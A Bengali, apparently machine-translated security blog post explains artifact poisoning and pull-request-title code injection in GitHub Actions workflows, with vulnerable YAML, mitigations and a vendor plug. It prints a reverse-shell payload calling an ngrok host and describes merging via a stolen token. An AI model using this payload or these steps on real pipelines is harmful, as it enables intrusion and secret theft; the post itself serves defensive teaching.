সিআইসিডি-Pipelines

একটি গভীর ডুব CI/CD Pipelineদুর্বলতা (III): আর্টিফ্যাক্ট পয়জনিং এবং কোড ইনজেকশন

সুচিপত্র

অবশ্যই পঠনীয় পোস্ট

পূর্ববর্তী পোস্টগুলিতে (দেখুন পরোক্ষ বিষক্রিয়া Pipeline এক্সিকিউশন I-PPE এবং বিষাক্ত Pipeline এক্সিকিউশন পিপিই আমরা মূলত PPE (বিষাক্ত) নিয়ে কাজ করেছি। Pipeline কার্য সম্পাদন): আমরা দেখলাম এটি কীভাবে কাজ করে, এর প্রভাব, এর কিছু অপব্যবহার এবং সেইসাথে এর থেকে রক্ষা পাওয়ার কিছু উপায়। 

এই পোস্টে অন্য কিছু বিষয়ে গভীরভাবে আলোচনা করা হয়েছে। CI/CD pipeline আর্টিফ্যাক্ট পয়জনিং এবং কোড ইনজেকশনের মতো দুর্বলতা। 

এটি করার জন্য, আমরা কোনোভাবে পিপিই-কে ভিত্তি করে এগোব, তাই পিপিই সম্পর্কে আমরা যা দেখেছি তার একটি সংক্ষিপ্ত সারসংক্ষেপ করা যাক।

পিপিই নিয়ে পূর্ববর্তী কাজ

সংক্ষেপে, আমরা একটি সাধারণ গিটহাব দিয়ে শুরু করেছিলাম। pipeline একটির মাধ্যমে অবদানকৃত কোড তৈরি এবং পরীক্ষা করা pull requestএছাড়াও, এটি কিছু চেক নির্ধারণ করে, যেগুলো পূরণ হলে কোডটি মেইনস্ট্রিম ব্রাঞ্চে মার্জ হয়ে যাবে। আমরা এর নাম দিয়েছি দৃশ্য # এক্সটিএক্সএক্স.

CI/CD-Pipelines

আমাদের আগের পোস্টে আমরা দেখিয়েছিলাম কিভাবে এই মৌলিক pipeline ছিল ডি-পিপিই এবং আই-পিপিই উভয়ের প্রতিই ঝুঁকিপূর্ণ.

আমরা সক্ষম হয়েছি ডি-পিপিই ঠিক করুন by ট্রিগার ইভেন্ট পরিবর্তন করা থেকে পুল_রিকোয়েস্ট থেকে পুল_রিকোয়েস্ট_টার্গেট, তৈরীর pipeline ডি-পিপিই-এর জন্য নিরাপদস্মরণ করিয়ে দেওয়ার জন্য, pipelinepull_request_target ইভেন্টে ট্রিগার হওয়া s বেসটি কার্যকর করবে pipeline কোড, কোড নয় pipeline কোডে অন্তর্ভুক্ত pull request. 

আমরা এর নাম দিয়েছি দৃশ্য # এক্সটিএক্সএক্স.

CI/CD-Pipelines-দুর্বলতা-দৃশ্যকল্প-২

এই পরিবর্তনের ফলে আমরা প্রমাণ করেছি যে দৃশ্যকল্প #২ তখনও আই-পিপিই-এর প্রতি ঝুঁকিপূর্ণ ছিল।

এটা ঠিক করতে, আমরা সিদ্ধান্ত নিলাম বিভক্ত করতে pipeline দুটি ভাগে:

  • 1 ম pipeline (CI তৈরি করুন) হবে পিআর কোডটি দেখুন (এটি বিল্ড করতে)বিল্ডটি সম্পন্ন করুন এবং একটি আর্টিফ্যাক্ট তৈরি করুন।
  • ২ য় pipeline (টেস্ট সিআই) হবে বেস কোডটি চেকআউট করুন (শেল স্ক্রিপ্ট পরিবর্তন এড়াতে)। এবং আর্টিফ্যাক্টটির উপর মূল স্ক্রিপ্টগুলো চালান। 
  • টেস্ট সিআই সিঙ্ক্রোনাইজ করতে pipeline বিল্ড সিআই (Build CI) এর পরে চালানোর জন্য pipelineআমরা ব্যবহার করব ওয়ার্কফ্লো_রান ট্রিগার 

আমরা এর নাম দিয়েছি দৃশ্য # এক্সটিএক্সএক্স.

CI/CD-Pipelines-দুর্বলতা-দৃশ্যকল্প-২

চলুন উভয়ের কোড পুনরুদ্ধার করি pipelineএই পরিবর্তনগুলো অনুসারে…

1st pipeline (CI তৈরি করুন):

				
					name: Build CI


on:
  pull_request_target:
    branches: [ main ]


env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}
 
jobs:
               
  prt_build_and_upload:
    runs-on: ubuntu-latest
    steps:
      - name: Checking out PR code
        uses: actions/checkout@v4
        if: ${{ github.event_name == 'pull_request_target' }}
        with:
          # This is to get the PR code instead of the repo code
          ref: ${{ github.event.pull_request.head.sha }}


      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
 
	# Upload the binary as a pipeline artifact
      - name: Archive building artifacts
        uses: actions/upload-artifact@v3
        with:
          name: archive-bin
          path: |
            bin

				
			

2nd pipeline (পরীক্ষা CI):

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
   
env:
  MY_SECRET: ${{ secrets.MY_SECRET }}
  GITHUB_PAT: ${{ secrets.GH_PAT }}




jobs:
  deploy:
    runs-on: ubuntu-latest
    if: ${{ github.event.workflow_run.conclusion == 'success' }}
    steps:
 


      # By default, checks out base code (not PR code)
      - name: Checkout repository
        uses: actions/checkout@v4


	# Download the artifact
      - name: 'Download artifact'
        uses: actions/github-script@v6
        with:
          script: |
            let allArtifacts = await github.rest.actions.listWorkflowRunArtifacts({
               owner: context.repo.owner,
               repo: context.repo.repo,
               run_id: context.payload.workflow_run.id,
            });
            let matchArtifact = allArtifacts.data.artifacts.filter((artifact) => {
              return artifact.name == "archive-bin"
            })[0];
            let download = await github.rest.actions.downloadArtifact({
               owner: context.repo.owner,
               repo: context.repo.repo,
               artifact_id: matchArtifact.id,
               archive_format: 'zip',
            });
            let fs = require('fs');
            fs.writeFileSync(`${process.env.GITHUB_WORKSPACE}/myartifact.zip`, Buffer.from(download.data));


	# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.


#
      # For demo purposes, the check merge condition will always be set to FALSE (avoiding to merge)
      #
- name: pr_check_conditions_to_merge
        id: check_pr
        run: |
          echo "check_conditions_to_merge"
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"
          echo "merge=false" >> $GITHUB_OUTPUT
     
      - name: pr_merge_pr_false
        if: steps.check_pr.outputs.merge == 'false'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions NOT MEET!!!"




      - name: pr_merge_pr_true
        if: steps.check_pr.outputs.merge == 'true' && steps.run_tests.outputs.run_tests == 'OK'
        run: |
          echo "The merge check was ${{ steps.check_pr.outputs.merge }}"
          echo "Merge conditions successfully MEET!!!"
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \ 
https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'
       





				
			

আর্টিফ্যাক্ট পয়জনিং

উপরোক্ত অনুসারে CI/CD pipelines:

  • pipeline CI তৈরি করুন is নিরাপদ উভয় ডি-পিপিই (কারণে পুল_রিকোয়েস্ট_টার্গেট) এবং আই-পিপিই (কারণ এটি আর শেল স্ক্রিপ্টটি চালায় না)।
  • pipeline টেস্ট সিআই এছাড়াও নিরাপদ উভয় ডি-পিপিই (কারণে ওয়ার্কফ্লো_রান) এবং আই-পিপিই (কারণ এটি মূল শেল স্ক্রিপ্টটি পেতে বেস কোডটি চেকআউট করে) 

চলুন এই “সমাধানটি” নিয়ে গভীরভাবে আলোচনা করা যাক।

Pipeline টেস্ট সিআই আর্টিফ্যাক্টটি একটি জিপ ফাইল হিসেবে ডাউনলোড করে।

				
					# Unzip the artifact
      - name: 'Unzip artifact'
        run: |
          unzip -o myartifact.zip


      # Runs tests
      - name: Running tests ...
        id : run_tests
        run: |
          echo Running tests..
          chmod +x runtests.sh
          ./runtests.sh
          echo Tests executed.

				
			

একবার আনজিপ করা হলে, এটি “নিরাপদ” শেল স্ক্রিপ্টটি চালায়। আমি “নিরাপদ” শেল স্ক্রিপ্ট বলছি কেন? কারণ আগের একটি ধাপে, pipeline “বেস” কোডটি চেক আউট করা হয়, তাই মূল স্ক্রিপ্টটি ওয়ার্কস্পেস ফোল্ডারে রাখা হয়। অতএব, যখন pipeline পূর্বে ডাউনলোড করা বাইনারিটি ব্যবহার করে যে শেল স্ক্রিপ্টটি চালানো হবে, সেটি কার্যকর করে।

তারপর, কি সমস্যা এই পদ্ধতিতে? সমস্যাটা আসে যখন কোনো ব্যবহারকারী একটি নতুন "তৈরি" করে pipeline

যদি কোনো ব্যবহারকারী একটি নতুন পিআর খোলে pipelineগিটহাব তা কার্যকর করবে pipeline  (কিছু শর্ত সাপেক্ষে, যেমনটি আমরা আগের পর্বে দেখেছি) পোস্ট).

এই পরিপ্রেক্ষিতে, যদি ব্যবহারকারী একটি নতুন তৈরি করে তাহলে কি হবে pipeline Build CI-এর সাথে একই নামে? হ্যাঁ, এটা আশ্চর্যজনক, কিন্তু গিটহাব আপনাকে দুটি তৈরি করার অনুমতি দেয় pipelineএকই নামের আরও আছে!!

মনে রাখবেন যে টেস্ট সিআই (Test CI) বিল্ড সিআই (Build CI)-এর পরে এক্সিকিউট হবে…

				
					name: Test CI


on:
  workflow_run:
    workflows: [ 'Build CI' ]
    types: [completed]
				
			

আশ্চর্যজনকভাবে, কারণ এখন দুটি আছে pipelineএকই নামের, pipeline টেস্ট সিআই দুইবার চালানো হবেমূলটির পরে একটি pipeline এবং “নতুন”-এর পরে অন্যান্য pipeline.

হ্যাকার কীভাবে এর সুযোগ নিতে পারে? 

  • প্রথমে, ক্ষতিকারক ব্যবহারকারী শেল স্ক্রিপ্টটি পরিবর্তন করে হ্যাকার-নিয়ন্ত্রিত সার্ভারে গোপনীয় তথ্য পাঠাতে পারে।
  • দ্বিতীয়ত, নতুন pipeline পরিবর্তিত শেল স্ক্রিপ্টটি আর্টিফ্যাক্টে কপি করার জন্য একটি লাইন অন্তর্ভুক্ত রয়েছে → আর্টিফাকে বিষাক্ত করাসিটি!!!

যখন ব্যবহারকারী এই পরিবর্তনগুলি সহ একটি PR খোলে, তখন "নতুন" pipeline কার্যকর করা হবে (একটি বিষাক্ত আর্টিফ্যাক্ট আপলোড করা) এবং Deploy CI pipeline এর পরে কার্যকর করা হবে, যার ফলে “সংশোধিত” শেল স্ক্রিপ্টটি “মূল” শেল স্ক্রিপ্টটিকে ওভাররাইট করে, যা অবস্থিত pipeline কর্মক্ষেত্র.

CI/CD-Pipelineএস-দুর্বলতা

এটাকেই আমরা বলি আর্টিফ্যাক্ট পয়জনিংঅর্থাৎ পরিবর্তন (হ্যাক) করার ক্ষমতা pipeline একটির পরিবর্তনের মাধ্যমে যুক্তি pipeline হস্তনির্মিত বস্তু

একটি সম্ভাব্য উপসম বিষয়টি বেশ সহজবোধ্য: আর্টিফ্যাক্টটি ওয়ার্কস্পেসের একটি সাবফোল্ডারে আনজিপ করলেই “বেস” শেল স্ক্রিপ্টটি ওভাররাইট হওয়া এড়ানো যাবে।

কোড ইনজেকশন

আর্টিফ্যাক্ট পয়জনিং ছাড়াও, উপরের কোডটিতে আপনি কি অন্য কোনো দুর্বলতা দেখতে পাচ্ছেন?

চলো যাই!!

কোডে যেমন দেখতে পাচ্ছেন, pipeline বিল্ড সিআই বাইনারিটি তৈরি করে, এটি বাইনারিটিকে একটি হিসাবে আপলোড করে। pipeline আর্টিফ্যাক্ট এবং এর পাশাপাশি এটি আরও দুটি অতিরিক্ত ডেটা আপলোড করে: পিআর টাইটেল এবং পিআর আইডি।

				
					          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

কেন? কারণ, যেমনটা আপনি নিচে দেখতে পাচ্ছেন, PR-টি মার্জ করার জন্য Test CI প্রয়োজন। pipeline পিআর মার্জ করার জন্য গিটহাব রেস্ট এপিআই চালু করতে পিআর আইডি প্রয়োজন। 

টেস্ট সিআই কীভাবে কাজ করে pipeline ঐ পিআর আইডিটা পেতে চাই? টেক্সট ফাইলে তথ্য শেয়ার করা (একটি অংশের) pipeline আর্টিফ্যাক্ট হলো তথ্য আদান-প্রদানের একটি সাধারণ উপায়। pipelineআর ঠিক এটাই হলো এইগুলো pipelines যা করছে।

				
					  echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'

				
			

কঠোরভাবে বলতে গেলে, পিআর মার্জ করার জন্য শুধুমাত্র পিআর আইডি প্রয়োজন, কিন্তু pipeline অ্যাডমিন সিদ্ধান্ত নিয়েছেন যে বিল্ড সিআই-তেও পিআর টাইটেল অন্তর্ভুক্ত করা হবে, তাই টেস্ট সিআই-তেও pipeline পিআর আইডি এবং টাইটেল উভয়ই সম্বলিত একটি তথ্য বার্তা প্রিন্ট করবে।

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt


				
			
				
					name: Test CI
[...]
          PR_ID=$(<PR_ID.txt)
          PR_TITLE=$(<PR_TITLE.txt)
          echo "Checking conditions to merge PR with id $PR_ID and Title $PR_TITLE"

				
			

পিআর টাইটেল হলো ব্যবহারকারীর কাছ থেকে আসা ডেটা এবং সেই কারণে এটিকে সর্বদা অবিশ্বস্ত হিসেবে বিবেচনা করতে হবে।। তাহলে pipeline সেই অনুযায়ী পরিচালনা করতে হবে এবং সুরক্ষামূলক ব্যবস্থা গ্রহণ করতে হবে।

উপরের কোডে আমরা দেখতে পাচ্ছি, একটি নির্দিষ্ট মেসেজে পিআর টাইটেলটি ইকো করা হচ্ছে। এটি কেবল একটি “echo” লিনাক্স কমান্ড।

স্ট্রিং ইন্টারপোলেশনের মাধ্যমে, যদি শিরোনামটি “একটি ডামি শিরোনাম” হয়, তাহলে গিটহাব অভ্যন্তরীণভাবে একটি স্ক্রিপ্ট তৈরি করে যাতে থাকে

				
					echo ""a dummy title""
				
			

কিন্তু, পিআর শিরোনামটা যদি এইরকম কিছু হতো:

ক্ষতিকর শিরোনাম” && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo "

স্ক্রিপ্টটি হবে:

				
					echo "Malicious title" && bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/10178 0>&1 && echo ""

				
			

এর ফলে হ্যাকার-নিয়ন্ত্রিত সার্ভারের বিরুদ্ধে একটি রিভার্স শেল চালু হয়।

CI/CD-Pipelines

সেই রিভার্স শেলটি অ্যাক্সেস করতে ব্যবহার করা যেতে পারে pipeline গোপনীয় তথ্য (মনে রাখবেন যে টেস্ট সিআই প্রিভিলেজ মোডে চলছে কারণ এটি workflow_run দ্বারা ট্রিগার হচ্ছে, তাই এটির গোপনীয় তথ্যে অ্যাক্সেস আছে)।

কিন্তু, ঐ রিভার্স শেলটির মাধ্যমে আর কী করা যেতে পারে? 

CI টেস্ট কোডটি দেখুন:

				
					env:
  GITHUB_PAT: ${{ secrets.GH_PAT }}


[...]
          echo "Merging .."
          PR_ID=$(<PR_ID.txt)
          curl -L \
                  -X PUT \
                  -H "Accept: application/vnd.github+json" \
                  -H "Authorization: Bearer $GITHUB_PAT" \
                  -H "X-GitHub-Api-Version: 2022-11-28" \
                  https://api.github.com/repos/lgvorg1/"${{github.event.repository.name}}"/pulls/"$PR_ID"/merge \
                  -d '{"commit_title":"Commit hacker","commit_message":"Hacked and merged"}'


				
			

টেস্ট সিআই-তে যেমন দেখতে পাচ্ছেন pipeline`curl merge` কমান্ডটি GITHUB_PAT (যা একটি হিসেবে সংজ্ঞায়িত) ব্যবহার করছে। pipeline (এনভ ভ্যারিয়েবল হিসেবে) রানারটিতে GITHUB_PAT থাকে। এছাড়াও, এটি PR ID পড়ে একটি এনভ ভ্যারিয়েবলও তৈরি করে। 

সুতরাং হ্যাকারকে শুধু কার্ল (curl) কমান্ডটি কপি করে রিভার্স শেলে পেস্ট করতে হবে, যার ফলে পিআর (PR) সরাসরি সুরক্ষিত ব্রাঞ্চে মার্জ হয়ে যাবে।

কোড-ইনজেকশন

এই সবকিছু রক্ষা করতে:

  • থেকে এড়াতে অবিশ্বস্ত ডেটা দিয়ে স্ট্রিং ইন্টারপোলেশন (ঝুঁকিপূর্ণ) কোড ইনজেকশন) দ্বারা সংজ্ঞা pipeline পরিবেশ ভেরিয়েবল ইকো কমান্ডে সরাসরি ব্যবহার করার পরিবর্তে

ব্যবহারের পরিবর্তে:

				
					name: Build CI
      - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "${{github.event.pull_request.title}}" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
				
			

এটা ব্যবহার কর:

				
					  - name: Building ...
        run: |
          mkdir ./bin
          touch ./bin/mybin.exe
	    # Save some PR info for later use by the 2nd pipeline
          echo "$PR_TITLE" > ./bin/PR_TITLE.txt
          echo "${{github.event.number}}" > ./bin/PR_ID.txt
        env:
          PR_TITLE: ${{github.event.pull_request.title}}

				
			
  • কোড ইনজেকশন এক্সপ্লয়েট থাকা সত্ত্বেও, আপনি যদি সঠিকভাবে করতেন তাহলে `curl merge` কমান্ডটি সফল হতো না। আপনার সুরক্ষিত pull requests কিছু বাধ্যতামূলক পর্যালোচনা বা অনুমোদনের মাধ্যমে

উপসংহার

এটা রক্ষা করা কোনোভাবে কঠিন CI/CD pipelines কনফিগারেশন এবং পান pipelineদুর্বলতা থেকে মুক্ত।

এর অর্থ এই নয় CI/CD সিস্টেমগুলো (যেমন এই ক্ষেত্রে গিটহাব) স্বভাবতই ঝুঁকিপূর্ণ। CI/CD সিস্টেমগুলো দুর্বলতার বিরুদ্ধে সুরক্ষার উপায় সরবরাহ করে … কিন্তু সেই সুরক্ষাগুলো বাস্তবায়ন করা অ্যাডমিনের দায়িত্ব।

কিন্তু ... কোনো দুর্বলতার অস্তিত্ব সম্পর্কে অবগত না হলে আপনি তা সমাধান করতে পারবেন না!!!

অবশ্যই একজন অত্যন্ত দক্ষ ডেভঅপ্স অ্যাডমিন এই সমস্ত ঝুঁকি মাথায় রেখে যথাযথভাবে সুরক্ষা দিতে পারেন। CI/CD pipelineকিন্তু, তা সত্ত্বেও, এই সব ধরনের দুর্বলতা শনাক্ত করার জন্য একটি প্রোডাক্ট ব্যবহার করা অত্যন্ত মূল্যবান। এবং অবশ্যই এই দুর্বলতা শনাক্তকরণ প্রক্রিয়াটিকে স্বয়ংক্রিয় করা (উদাহরণস্বরূপ, স্ক্যানটিকে এর অংশ হিসেবে চালানো)। CI/CD pipelineগুলি)।

এই পদ্ধতিকে বলা যেতে পারে “নিরাপত্তা গেট": 

  • নতুন একটি তৈরি কর pipeline (নিরাপত্তা গেট) পরীক্ষা করার জন্য CI/CD pipelineএর দুর্বলতাগুলো চিহ্নিত করুন এবং অন্য CI তৈরি করুন pipelineনিরাপত্তা গেটের সফল সমাপ্তির পরেই কেবল এটি কার্যকর হবে। pipeline.
  • নিরাপত্তা গেট pipelines পরীক্ষা করবে CI/CD pipelineএর দুর্বলতা এবং, 
    • যদি দুর্বলতা খুঁজে পাওয়া যায়, তবে এটি ব্যর্থ হবে এবং ফলস্বরূপ অন্যটিও ব্যর্থ হবে। pipelines কার্যকর করা হবে না। 
    • যদি কোনো দুর্বলতা খুঁজে না পাওয়া যায়, তাহলে pipeline সফল হবে এবং অন্যটি pipelines যথারীতি কার্যকর হবে।
CI/CD-নিরাপত্তা

বিষাক্ত Pipeline মৃত্যুদণ্ড (PPE)

একটি গভীর ডুব CI/CD Pipelineদুর্বলতা (I)

পরোক্ষ বিষক্রিয়া Pipeline বাস্তবায়ন (আই-পিপিই)

একটি গভীর ডুব CI/CD Pipelineদুর্বলতা (II)

সফটওয়্যার অ্যাটেস্টেশনের মাধ্যমে আর্টিফ্যাক্ট পয়জনিং থেকে সুরক্ষা

একটি গভীর ডুব CI/CD Pipelineদুর্বলতা (IV)
sca-tools-software-composition-analysis-tools
আপনার সফটওয়্যারের ঝুঁকিগুলোকে অগ্রাধিকার দিন, প্রতিকার করুন এবং সুরক্ষিত করুন।
আপনার বিনামূল্যে অ্যাকাউন্টটি নিন।
কোন ক্রেডিট কার্ড প্রয়োজন নেই

আপনার সফটওয়্যার উন্নয়ন ও বিতরণ সুরক্ষিত করুন

Xygeni প্রোডাক্ট স্যুটের সাথে